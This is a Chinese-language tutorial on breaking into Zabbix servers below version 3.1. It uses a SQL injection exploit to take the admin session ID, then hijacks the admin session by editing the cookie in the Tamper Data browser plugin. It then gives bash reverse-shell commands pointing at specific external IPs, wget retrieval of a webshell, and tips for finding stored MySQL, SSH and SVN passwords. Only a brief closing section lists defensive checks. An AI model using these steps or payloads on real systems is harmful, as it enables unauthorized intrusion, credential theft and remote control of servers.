Zabbix 服務(wù)器在3.1版本以下存在SQL注入漏洞，通過該漏洞可以獲取管理員的賬號、密碼和SessionID，zabbix的用戶密碼是采用md5加密，在實際漏洞測試過程中，很多公司都還是有安全意識，密碼設(shè)置的非常復(fù)雜，通過cmd5等在線網(wǎng)站以及自我搭建環(huán)境都無法破解。無法破解密碼，zabbix服務(wù)器存在SQL注入漏洞就安全嗎?其實在網(wǎng)上給出Exp中還提及一個Session_id，這個Session_id是可以利用的，通過工具軟件抓包即可突破密碼無法破解的限制。本文就探討如何利用Tamper Data來突破密碼無法破解的限制，順利的進(jìn)入Zabbix服務(wù)器，最后探討了六大方法來進(jìn)行zabbix服務(wù)器的安全檢測。

1. TamperData簡介

Tamper Data作為Firefox的重要插件之一，Tamper Data簡單易用，功能強大，可以用來查看和修改HTTP/HTTPS的頭部和POST參數(shù);也可以用來跟蹤 HTTP請求和響應(yīng)并記時;還可以對WEB站點進(jìn)行某些安全測試，從而為調(diào)試 WEB 配置帶來了極大的便利，是網(wǎng)站維護(hù)人員不可多得的實用工具，同時也是網(wǎng)絡(luò)安全人員的最愛插件之一，是突破登錄和Xss漏洞檢測到利器，其官方地址https://addons.mozilla.org/en-us/firefox/addon/tamper-data/。

2. Tamper Data安裝

首先需要安裝Firefox(http://www.firefox.com.cn/download/)軟件，安裝完畢后直接打開Firefox，打開“工具”-“附加組件”，選擇“可用附加組件”，在搜索框中輸入“Tamper Data”，出來的結(jié)果中第一位就是Tamper Data，單擊安裝，接受并下載即可，安裝完成后需要重啟FireFox瀏覽器。

3. 使用Tamper Data登錄zabbix服務(wù)器

(1)獲取Session_id

對目標(biāo)地址進(jìn)行exp測試，獲取Session_id，注意使用zabbix.py時一定要加http協(xié)議，也就是http://ip，如圖1所示，獲取測試服務(wù)器的zabbix管理員密碼和Session_id值：

管理員 用戶名密碼：Zabbix:cf5678dcb0af85f4c26ee7a999f5d3bc

管理員 Session_id：b2230a1fe2caac819b430a89ce2250dc

將cf5678dcb0af85f4c26ee7a999f5d3bc密碼值到cmd5.com網(wǎng)站進(jìn)行解密，如圖2所示，提示解密失敗。

圖1獲取zabbix密碼以及sessionid

圖2 cmd5解密失敗

(2)運行TamperData

通過FireFox的“工具”菜單打開“TamperData”插件，如圖3所示，在瀏覽器中先輸入目標(biāo)地址，然后在Tamper Data中單擊“Start Tamper”開始捕獲網(wǎng)站的數(shù)據(jù)請求。單擊“clear”可以清除捕獲的所有數(shù)據(jù)。

圖3打開Tamper Data插件

(3)修改session_id

在Firefox中輸入并打開目標(biāo)網(wǎng)站地址，如果安裝有NoScript插件還需要允許訪問該IP地址，然后單擊以guest方式登錄zabbix，這時Tamper Data會彈出捕獲數(shù)據(jù)信息，在彈出的窗口中選擇Tamper，在其中會出現(xiàn)Cooike，在Cooike找到zbx_sessionid一覽，然后將其值“29de4f5abef4aa785f6a09d6b506a44a”修改前面獲取的值“b2230a1fe2caac819b430a89ce2250dc”，然后在彈出的窗口中單擊“Submit”進(jìn)行提交，后面可能會有多個提示，都選擇“Submit”。

圖4修改zbx_session_id值

(4)成功登錄Zabbix管理界面

回到Firefox中，并關(guān)閉Tamperdata的捕獲功能，刷新瀏覽器，即可看見左下方顯示“連接為'Admin'”，如圖5所示，表明成功登錄Zabbix管理服務(wù)器。

圖5成功登錄Zabbix管理服務(wù)器

4.有關(guān)zabbix的滲透方法與技巧

由于本文探討的是zabbix的安全檢測，因此需要在這里提及一下有關(guān)其滲透方法

(1)反彈法，在zabbix管理界面，單擊“Administration”或者中文界面的“管理”，在Script(腳本)中單擊創(chuàng)建腳本(Create script)，Name(名稱)中隨便輸入，在Commands(命令)中輸入以下代碼：

代碼1：

echo "#!/bin/bash" > /tmp/1.sh  
echo "bash -i >&/dev/tcp/194.38.137.239/8888 0>&1" >> /tmp/1.sh  
chmod +x /tmp/1.sh  
/tmp/1.sh 

代碼2：

bash -i >& /dev/tcp/218.145.31.159/530>&1 

代碼1是將反彈的腳本保存到本地，代碼2直接執(zhí)行。

圖6管理可執(zhí)行腳本

(2)直接exp獲取反彈shell

通過exp直接利用session_id登錄，并反彈shell。

(3)滲透技巧

• 獲取文件的名稱(*.php、*.sql、*.sh)及位置命令：locate“*.php” find –name “*.php”
• 重點查看data、home、opt、var目錄，一般zabbix安裝文件都會在這幾個目錄。
• 尋找zabbix.conf.php文件，該文件中會保存配置文件。
• 尋找系統(tǒng)存在sh文件，這些文件中可能會保存mysql數(shù)據(jù)庫密碼、ssh賬號及密碼
• 尋找svn關(guān)鍵字，svn配置文件中會保存用戶名及密碼等信息。
• 查看關(guān)鍵信息 cat /etc/hosts、cat/etc/passwd、cat/etc/issue、ifconfig –a、uname –ar獲取服務(wù)器所屬組織，linux內(nèi)核版本、IP地址等信息。
• 如果配置zabbix是當(dāng)前反彈shell用戶，可以通過wget http://www.antian365.com/shell.txt命令下載shell保存到本地，重命名并添加可執(zhí)行權(quán)限即可獲取webshell。

5、安全檢查Zabbix服務(wù)器

對于安全檢查zabbix服務(wù)器，根據(jù)筆者的經(jīng)驗可以從以下幾個方面入手：

(1)查看zabbix版本，一般登錄zabbix服務(wù)器后，在最下面就可以看到版本信息，例如“Zabbix 2.4.7 Copyright 2001-2015 byZabbix SIA”表示版本為zabbix2.4.7，該版本以為著肯定存在漏洞，可以升級到最行版本。

(2)檢測腳本情況

在管理界面中發(fā)現(xiàn)有新腳本，例如ping、uname、whoami等，則表明有人進(jìn)來過，換句話說，如果腳本不是自己添加到，則肯定是入侵者加入的。

(3)禁止mysql外連接，在實際測試過程中，很多服務(wù)器的mysql服務(wù)器可以直接通過該服務(wù)器的獨立IP進(jìn)行連接。

(4)修改用戶密碼，升級系統(tǒng)后，必須修改相應(yīng)的用戶密碼。

(5)善于利用“審計”功能，在zabbix中，有審計功能，如圖7所示，通過修改查看時間可以查看哪些IP登錄過系統(tǒng)，使用什么角色，如果不是管理員登錄的那么就要小心了。

(6)保持zabbix服務(wù)器的“純潔”性，在zabbix服務(wù)器上不保留一些跟監(jiān)控?zé)o關(guān)的數(shù)據(jù)和文件，同時嚴(yán)格設(shè)置服務(wù)器權(quán)限。

圖7查看審計日志